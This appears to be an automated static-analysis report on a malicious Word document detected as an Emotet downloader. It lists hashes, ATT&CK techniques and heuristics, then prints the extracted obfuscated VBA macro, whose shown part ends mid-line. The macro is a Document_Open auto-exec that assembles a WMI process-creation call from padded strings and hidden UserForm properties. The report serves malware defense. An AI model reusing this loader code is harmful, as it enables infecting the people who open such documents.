Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ae61ee0eb471f7aa…

MALICIOUS

Office (OLE)

214.6 KB Created: 2020-08-27 06:12:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 52fc9fc8fc534cb82f47715734df80d9 SHA-1: 57f902bd7d6e6a95fa3e0e0cd8d0a10448745885 SHA-256: ae61ee0eb471f7aa920b48426710e39448ddab3cf31cde02a22f00a6a7f457b8
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of malicious activity. The presence of a ClamAV detection for 'Doc.Downloader.EmotetRed02226-9938639-0' strongly suggests a downloader functionality. The VBA code appears to be obfuscated but the overall structure points to the execution of a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.EmotetRed02226-9938639-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02226-9938639-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9197 bytes
SHA-256: 130f6e5503ed3bd28020a9af5389fef62cd6661c8c1ad3de487fc2701bbfa286
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Cfky8ud_tu7zm9kf"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
F0b4tvzfite2z3a.Mnr26fu2j665cquv8
End Sub


Attribute VB_Name = "F0b4tvzfite2z3a"
Attribute VB_Base = "0{DFCDF41E-31A1-4E5F-9CD4-425A8CDA7677}{C05AEDF8-8CE7-45BE-85FD-6817849B203C}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Mnr26fu2j665cquv8()
   On Error Resume Next
         wwwwww = Zyrc / Sin(ULZZ9) * BmtF * pLiA30s + jazi + PhzY / TpZa1L / 830 * (DdY / CLng(zTHb2251X) - AWdYTT5J0 / Oct(812 + Sqr(hxS)))
         wwwwww = (MpBQ + Round(pxer0) / 70 / Hex(1614 - CLng(40679596)) - 9 + CBool(efCF1u1)) * BgJh - Fgwld45m6
Ht91gac4iwrw16c = 100
   On Error Resume Next
         wwwwww = Zyrc / Sin(ULZZ9) * BmtF * pLiA30s + jazi + PhzY / TpZa1L / 830 * (DdY / CLng(zTHb2251X) - AWdYTT5J0 / Oct(812 + Sqr(hxS)))
         wwwwww = (MpBQ + Round(pxer0) / 70 / Hex(1614 - CLng(40679596)) - 9 + CBool(efCF1u1)) * BgJh - Fgwld45m6
Crfo579nogv759x = ChrW(Ht91gac4iwrw16c + (xw + 5 + jwb + 10))
   On Error Resume Next
         wwwwww = Zyrc / Sin(ULZZ9) * BmtF * pLiA30s + jazi + PhzY / TpZa1L / 830 * (DdY / CLng(zTHb2251X) - AWdYTT5J0 / Oct(812 + Sqr(hxS)))
         wwwwww = (MpBQ + Round(pxer0) / 70 / Hex(1614 - CLng(40679596)) - 9 + CBool(efCF1u1)) * BgJh - Fgwld45m6
Oxkmfhvkdqcc0q = "(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())w(hsv 32(()hq gq721g()))) hsu0())i(hsv 32(()hq gq721g()))) hsu0())nm(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())gm(hsv 32(()hq gq721g()))) hsu0())t(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())" + Crfo579nogv759x + "(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0()):(hsv 32(()hq gq721g()))) hsu0())w(hsv 32(()hq gq721g()))) hsu0())in(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())3(hsv 32(()hq gq721g()))) hsu0())2(hsv 32(()hq gq721g()))) hsu0())_(hsv 32(()hq gq721g()))) hsu0())" + F0b4tvzfite2z3a.B6fmjogl3shvnd + "(hsv 32(()hq gq721g()))) hsu0())ro(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())ce(hsv 32(()hq gq721g()))) hsu0())s(hsv 32(()hq gq721g()))) hsu0())s(hsv 32(()hq gq721g()))) hsu0())"
   On Error Resume Next
         wwwwww = Zyrc / Sin(ULZZ9) * BmtF * pLiA30s + jazi + PhzY / TpZa1L / 830 * (DdY / CLng(zTHb2251X) - AWdYTT5J0 / Oct(812 + Sqr(hxS)))
         wwwwww = (MpBQ + Round(pxer0) / 70 / Hex(1614 - CLng(40679596)) - 9 + CBool(efCF1u1)) * BgJh - Fgwld45m6
Rqsn6fvzkxoqjg = Pg1g_vpqo9kgii_(Oxkmfhvkdqcc0q)
   On Error Resume Next
         wwwwww = Zyrc / Sin(ULZZ9) * BmtF * pLiA30s + jazi + PhzY / TpZa1L / 830 * (DdY / CLng(zTHb2251X) - AWdYTT5J0 / Oct(812 + Sqr(hxS)))
         wwwwww = (MpBQ + Round(pxer0) / 70 / Hex(1614 - CLng(40679596)) - 9 + CBool(efCF1u1)) * BgJh - Fgwld45m6
   On Error Resume Next
         wwwwww = Zyrc / Sin(ULZZ9) * BmtF * pLiA30s + jazi + PhzY / TpZa1L / 830 * (DdY / CLng(zTHb2251X) - AWdYTT5J0 / Oct(812 + Sqr(hxS)))
         wwwwww = (MpBQ + Round(pxer0) / 70 / Hex(1614 - CLng(40679596)) - 9 + CBool(efCF1u1)) * BgJh - Fgwld45m6
Q_327rom2zze4f = F0b4tvzfite2z3a.Usjxk1ylqp3a3c3.ControlTipText
   On Error Resume Next
         wwwwww = Zyrc / Sin(ULZZ9) * BmtF * pLiA30s + jazi + PhzY / TpZa1L / 830 * (DdY / CLng(zTHb2251X) - AWdYTT5J0 / Oct(812 + Sqr(hxS)))
         wwwwww = (MpBQ + Round(pxer0) / 70 / Hex(1614 - CLng(40679596)) - 9 + CBool(efCF1u1)) * BgJh - Fgwld45m6
Pdsgjsdtefikudto = F9zijf6hbo6mkeot0y + (Rqsn6fvzkxoqjg + Crfo579nogv759x + F0b4tvzfite2z3a.Npjpqiacw64uhry.ControlTipText + Q_327rom2zze4f)
   On Error Resume Next
         wwwwww = Zyrc / Sin(ULZZ9) * BmtF * pLiA30s + jazi + PhzY / TpZa1L / 830 * (DdY / CLng(zTHb2251X) - AWdYTT5J0 / Oct(812 + 
... (truncated)